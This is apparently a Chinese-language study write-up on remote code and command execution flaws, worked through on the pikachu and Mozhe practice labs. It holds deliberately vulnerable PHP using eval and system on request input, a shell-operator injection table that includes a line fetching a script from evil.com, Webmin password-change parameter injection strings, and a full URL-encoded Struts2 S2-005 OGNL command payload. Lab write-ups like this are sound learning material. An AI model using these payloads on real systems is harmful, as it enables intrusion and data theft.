一、导图(xiaodi)

二、RCE漏洞简介
RCE(Remote Code/Command Execution)
指攻击者能够通过Web应用或其他服务在服务器上执行任意系统命令或代码的漏洞。
通常分为两类:
-
代码执行:执行脚本语言代码(如PHP、Java、Python)
-
命令执行 :直接调用系统命令(如Linux的
bash、Windows的cmd)
本地和pikachu和墨者靶场

三、代码执行漏洞示例
1.在本地里面创建一个简单的text.php文件,内容是
<?php
shell = _GET['x'];
eval($shell);
?>
这里的eval命令是将被传参的字符串执行成代码
尝试:x=echo 123
此时就会返回123(执行命令)
利用pikachu的靶场

输入phpinfo();
相当于eval()函数执行命令来将字符串当作代码执行

四、命令执行漏洞示例
<?php
shell = _GET['x'];
echo system($shell);
?>
对于命令要看自己的是windows还是linux来选择
比如ipconfig和ifconfig等
Windows 常用命令:
# 网络信息
ipconfig
ipconfig /all
netstat -an
# 系统信息
systeminfo
whoami
tasklist
ver
# 文件操作
dir
type filename
copy source destination
Linux 常用命令:
# 网络信息
ifconfig
ip addr
netstat -tuln
# 系统信息
uname -a
whoami
ps aux
cat /etc/issue
# 文件操作
ls -la
cat filename
cp source destination

使用ping命令来命令执行
127.0.0.1来ping一下

然后查看是什么系统来选择使用什么命令:

whoami一下

五、漏洞的产生条件
<网站原码层面>
- 可控变量
- 漏洞函数
一、可控变量(用户输入入口)
1. 超全局变量
$_GET['id'] // URL参数
$_POST['username'] // 表单数据
$_REQUEST['data'] // GET+POST+Cookie
$_COOKIE['session'] // Cookie数据
$_SERVER['HTTP_REFERER'] // HTTP头
$_FILES['upload'] // 文件上传
2. 其他输入源
$HTTP_RAW_POST_DATA
php://input
file_get_contents('php://input')
二、漏洞函数(危险函数清单)
🚨 代码执行类漏洞函数
高危函数:
eval($code) // 直接执行PHP代码
assert($code) // 断言执行
preg_replace('/.*/e', $code) // 正则e修饰符
create_function($args, $code) // 创建匿名函数
动态函数执行:
$func = $_GET['func'];
$func(); // 动态函数调用
$obj = $_GET['class'];
$method = $_GET['method'];
$obj->$method(); // 动态方法调用
<网站应用层面>
六、漏洞检测
漏洞的检测分为白盒检测和黑盒检测两大方面。
白盒检测是知道了网站的代码等信息,然后进行检测,就相当于是进行代码审计。
黑盒检测就是什么也不知道来进行检测,可以利用一些工具或者去网上搜索一些公开的漏洞来进行测试。还可以通过观察url后面的参数值来进行判断其有没有和漏洞代码相关。
七、黑盒-应用层面-漏洞实例(墨者靶场)

点击查看:

发现跟上面的pikachu的ping命令的大致相同,那么做法应该也差不多
尝试127.0.0.1


然后发现是linux系统的然后尝试whoami等命令尝试:

发现要利用管道符:
| 符号 | 名称 | 作用 | 示例 | 漏洞利用示例 |
|-----------|--------|---------------|-----------------------------|-------------------------------------------|--------------------------------|----------------------------------|
| **` | `** | 管道符 | 前命令输出作为后命令输入 | cat /etc/passwd | grep root | ?cmd=whoami | tee result.txt |
| **` | | `** | 或操作符 | 前命令失败才执行后命令 | ping invalid_host || whoami | ?cmd=ping 1 || cat /etc/passwd |
| & | 后台执行符 | 在后台执行命令 | sleep 10 & whoami | ?cmd=wget http://evil.com/shell.sh & |
| && | 与操作符 | 前命令成功才执行后命令 | ping 127.0.0.1 && whoami | ?cmd=test -f /etc/passwd && cat it |
| ; | 命令分隔符 | 顺序执行多个命令 | ping 1; whoami; id | ?cmd=uname -a; cat /etc/passwd |
| > | 输出重定向 | 覆盖输出到文件 | whoami > output.txt | ?cmd=ifconfig > /tmp/network.txt |
| >> | 追加重定向 | 追加输出到文件 | echo "test" >> file.txt | ?cmd=cat /etc/passwd >> /tmp/result.txt |
| < | 输入重定向 | 从文件读取输入 | grep "root" < /etc/passwd | ?cmd=cat < /etc/passwd |
| 2> | 错误重定向 | 重定向错误输出 | cmd 2> error.log | ?cmd=invalid_cmd 2>/dev/null; whoami |
| &> | 全部重定向 | 重定向标准和错误输出 | cmd &> output.log | ?cmd=ls /root &> /tmp/error.txt |
| |\& | 管道错误输出 | 管道传递标准和错误输出 | cmd1 |\& cmd2 | ?cmd=invalid_cmd |\& grep -i error |
| () | 命令分组 | 将命令组合在一起 | (cd /tmp && ls) | ?cmd=(whoami; id; ifconfig) |
| {} | 命令块 | 在当前shell执行命令块 | { whoami; id; } | ?cmd={whoami; pwd;} |
使用这个和
|-----------|--------|-------------|-----------------|--------------------------------------|
| |\& | 管道错误输出 | 管道传递标准和错误输出 | cmd1 |\& cmd2 | ?cmd=invalid_cmd |\& grep -i error |
|---------|-------|---------|-----------------------------|--------------------------|
| < | 输入重定向 | 从文件读取输入 | grep "root" < /etc/passwd | ?cmd=cat < /etc/passwd |
尝试:之后发现

这个代码是检查ip的直接禁用js或者删除尝试:
-
按
F12打开开发者工具 -
按
Ctrl+Shift+P打开命令面板 -
输入
javascript选择Disable JavaScript

最後cat一下这个key_28296111361310.php
最后得到mozhe54aaa8b12a24371b77f7f99feed

八、白盒-代码层面-漏洞实例(墨者靶场)
这里做错了一个题目php分析溯源就索性做了


根据这个就能得到flag了
mozhec304e61f1b65ec3e937908aa5b3
是做这个题目:

-------------当前页面源码----key在根目录------------------
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
解码一下然后发现是echo `$_REQUEST[a]`;; ?>
也就是eval(echo `$_REQUEST[a]`;; ?>)
原本说eval是把字符串当作代码执行到了这句话是命令执行
尝试执行命令:

得到:?> mozhea9c8b0ccb5a59847fbc05c40ea1*/ /*
九、黑盒-RCE公开漏洞-漏洞实例

信息搜集就可以得到相关的答案了
抓包修改id值然后在根目录得到flag

抓包:
1.修改路径 session_ login.cgi 为 password_change.cgi
2.修改参数 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2

user=jammny&pam=&expired=2&old=cat /key.txt&new1=test2&new2=test2

第二个就是Javaweb-Struts2框架类RCE漏洞
也是信息搜集就能解决
就尝试: Apache Struts2远程代码执行漏洞(S2-005)复现
http://k8gege.org/p/ab3e87f7.html工具就可以解决
37:

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls /
最后:
cat得到mozhef88e557285f9ba74fd1485a8a04成功解决
